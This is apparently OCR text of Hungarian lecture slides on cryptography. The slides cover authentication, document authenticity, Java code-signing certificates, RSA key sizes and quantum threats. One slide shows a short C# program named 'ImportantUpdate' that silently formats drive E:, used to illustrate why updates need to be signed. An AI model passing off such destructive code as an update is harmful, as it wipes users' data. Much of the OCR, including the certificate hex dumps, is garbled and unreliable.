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40 éevvel ezelOtt irtak

* [...] applications create a need for new types of
cryptographic systems which minimize the
necessity of secure key distribution channels and
supply the equivalent of a written signature.

* The development of computer controlled
communication networks promise effortless and
inexpensive contact between people or computers
on opposite sides of the world, replacing most mail
and many excursions with telecommunications.



Biztonsagi paradoxon

* Az Internet egy oriasi nyilvanos haldzat,
amelyhez mindenki csatlakozhat.
* Meg kell oldani a
* Felhasznaldk azonositasat,

* A dokumentumok hitelességének az
ellenBrzését,

e Kulcscserét és a bizalmas dokumentumok
titkositasat.



Azonositas

* Annak bizonyitasa, hogy a felhasznalé az, akinek
mondja magat.

* Bizonyiték = azonosito: egyedi, bizalmas adat, de a
nyilvanos Interneten kuldjuk.

* Embereknél lehetséges a biometrikus azonositas.
e Szoftvereknél, katyuknél, dnénoknal csak jelszo!?

* Hogyan azonositjak majd magukat a nanoérzékelbk és
nanorobotok?

* Rendelhet-e h(itGszekrény parizert Pethd urnak?



Hitelesseg

* A dokumentum nem valtozott/valtoztattdk meg az
atvitel soran.

* Az Internet fejl6dése szempontjabodl kulcsfontossagu,
hogy az Uj szoftvereket és szoftverfrissitéseket
hitelesen juttassak el a felhasznaldknak. Pozitiv
visszacsatolas.

 JarmdUvek szoftverfrissitése - mihelyekben. Lassu és
koltséges.



Frissités 1

2lyezi, hogy a kdvetkezd program modositasokat
hajtson végre a szamitoégépen?
Program neve:  Java Auto Updater

Ellencdrzott gyarto: Oracle America, Inc.
Fajl eredete: Merevlemez-meghajté a szamitégépben

(V) Részletek megjelenitése Igen Nem

-

Ertesitések megjelenésének modositasa




Frissités 2

Felhasz
% Engedélyezi, hogy a kévetkez6 program modositasokat
" hajtson végre a szamitogépen?

Program neve:  Java Auto Updater

Ellendrzatt gyartd: Oracle America, Inc.

Fajl eredete: Merevlemez-meghajté a szamitogépben

Program helye:  "C:\Program Files (x86)\Common
Files\Java\Java Update\jucheck.exe" -auto
-critical

A gyarté tandsitvdnydval kapcsolatos informacidk

() Részletek elrejtése | Nem

-

Ertesitések megjelenésének modositasa




Frissités 3

Altalénos | Részetek | Tanisitvanylanc |

Informacié a tanusitvanyrol

A tanisitvany a kovetkez6 célokra hasznalhato:
« A szoftver a szoftvergyartdtdl szérmazik
* A szoftver médositas elleni védelme kozzététele utén

Tulajdonos: Oradle America, Inc.

Kiallits:  VeriSign Class 3 Code Signing 2010 CA

Ervényesség: 2013.06.08. vége: 2016.08.07.

Kialitd nyilatkozata

[ ]




Frissités 4

Megjelenités: | <Minden>

Mezd Erték
[] aléiras-kivonatolé algoritmus ~ shal
VeriSign Class 3 Code Signing ...
2013, junius 8. 1:00:00
2016. augusztus 7. 0:59:59
Orade America, Inc., Softwar...
RSA (2048 Bits)
Tulajdonos tipusa=Véafelhasz...
M1CRI_elérési halve: Flérési h 4

3082010a0282010100a52be6311a5edb 14798409 cf12bb A
9d 71 f0 21 fa a6 8 21 ae 64 da 2c 34 24 a8 a6 16 1f a3 S5 b6 56 Se
d7591dead44fc197f06efeSd8ad f990d2e0 75bd64 7473 3
8 fS 9b 08 b6 2e e4 Sa dc ac b7 ba d6 19 Oe 7c 54 8d Sd 6b a5 d6 6a
7d80afSd471b323d902f13419% 0d80cb26c3eaad2alSed
8b d3 06 2a 9c a6 b0 df 27 ab 9 4d 4d 7d eb 44 a0 35d9 2a d0 21 2a
ae 8cT7e 44 0f4aSd6ccB42a96c fSad2338e0 19746 a3 5407
cecf2cb7 f384aa28125850e95ede6fd9f112616c63dd48d o,
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Tulajdonsdgok szerkesztése. .. Masolas fjlba...

[ o ]




Frissités 4

A 2048 bit

Altald Részletek Gsitvanyla 2 HES 2
i kulcsméret ajanlas
Megjelenités: | <Minden> 20 éves!

Mezd

shal
VeriSign Class 3 Code Signing ... e A mérnokok

2013, junius 8. 1:00:00

2016. augusztus 7. 0:59:59 i m ictA
Tulajdonos Oracle America, Inc., Softwar... pESSZI ISta bbak
Nyilvanos kulcs RSA (2048 Bits) m 1
Alapvehb' tipusmegkotések Tulajdonos tipusa=Végfelhasz... Vo Ita k’ I nt d

Elrp1 sléréci heluei M1CRI eléréci halua: Flérdci h 4

matematikusok.

3082 01 0a 02 82 01 01 00 a5 2b &6 31 1a Se db 14 79 84 09 cf 12 bb A
9d 71 f0 21 fa a6 8 21 ae 64 da 2c 34 24 a8 a6 16 17 a3 55 b6 56 Se

47 59 1d ea 44 fc 19 77 06 ef 5 d8 ad 9 90 d2 €0 75 bd 64 74 73 13 Al bb
3 15 9b 08 b6 2¢ e4 5a dc ac b7 ba d6 19 e 7c 54 8d 5d 6b as d6 6a °

7d 80 af 5d 47 1b 32 3d 90 2 13 41 9¢ 0d 80 cb 26 c3 ea ad 2a 05 &3 €gnagyo

3b d3 06 2a 9c a6 b0 df 27 ab 79 4d 4d 7d eb 44 a0 35 d9 2a d0 21 2a . . .
ae 8c 7e 44 0f 4a 5d 6c c3 42 a9 6c 5 ad 23 38 &0 19 74 6¢ a3 54 07 faktorlzalt szamok.
ce cf 2 b7 £3 84 aa 28 12 58 50 €9 Se de 6fd9 f1 12616c63d48d o, .

gk BEese e e 1994: 256 bit

B R e = T e R

Tulajdonsagok szerkesztése... Masolas fajba... .
1999: 512 bit

2009: 768 bit
[ o | | 2016: valtozatlan




Miert kell ez a cécdod?

Mert pl. egy egyszerl koddal le lehet
torolni a lemezek tartalmat!



using System;

using System.Collections.Generic;
using System.Linq;

using System.Text;

namespace ImportantUpdate
{ class Run
{ public static void Main(String[]args) {
FormatDrive('E');
}
public static void FormatDrive(
char driveletter,
string fileSystem = "NTFS",
bool quickFormat = true)

{
string drive = drivelLetter + ":";
var di = new System.lO.Drivelnfo(drive);
var process = new System.Diagnostics.ProcessStartinfo();
process.FileName = "format.com";
process.WorkingDirectory = Environment.SystemDirectory;
process.Arguments =
"/FS:" + fileSystem + " /Y" +
(quickFormat ? " /Q" :"")+" " + drive;
process.UseShellExecute = false;
process.CreateNoWindow = true;
var formatProcess = System.Diagnostics.Process.Start(process);
}
}



Titkositas

* Latszolag sose hasznaljuk.

e Gyakran folytatunk bizalmas tGzenetvaltast:
* Banki tranzakcidk
* Egészségi allapotra vonatkozo adatok
e Szamlak, adobevallas, stb.

e A titkositas a hattérben torténik.

* VVeszélyes eszkodz pl. a terroristak kezében.



Merre fejlédik a kriptografia?

* Nagyon rossz tapasztalatok az oktatasban!

* A ma hasznalt nyilt kulcsu kriptografiai
algoritmusok — RSA, ECC — feltorhetbek
kvantumalgoritmussal (Shor, 1994).

* A legnagyobb Shor algoritmussal tényez6kre
bontott szam: 15.

* Léteznek kvantum-rezisztens nyilt kulcsu
kriptografiai algoritmusok, de a kulcsaik és
er6forras igényuk is nagyok.

* Az loT pehelykonnyl algoritmusokat is igényel!




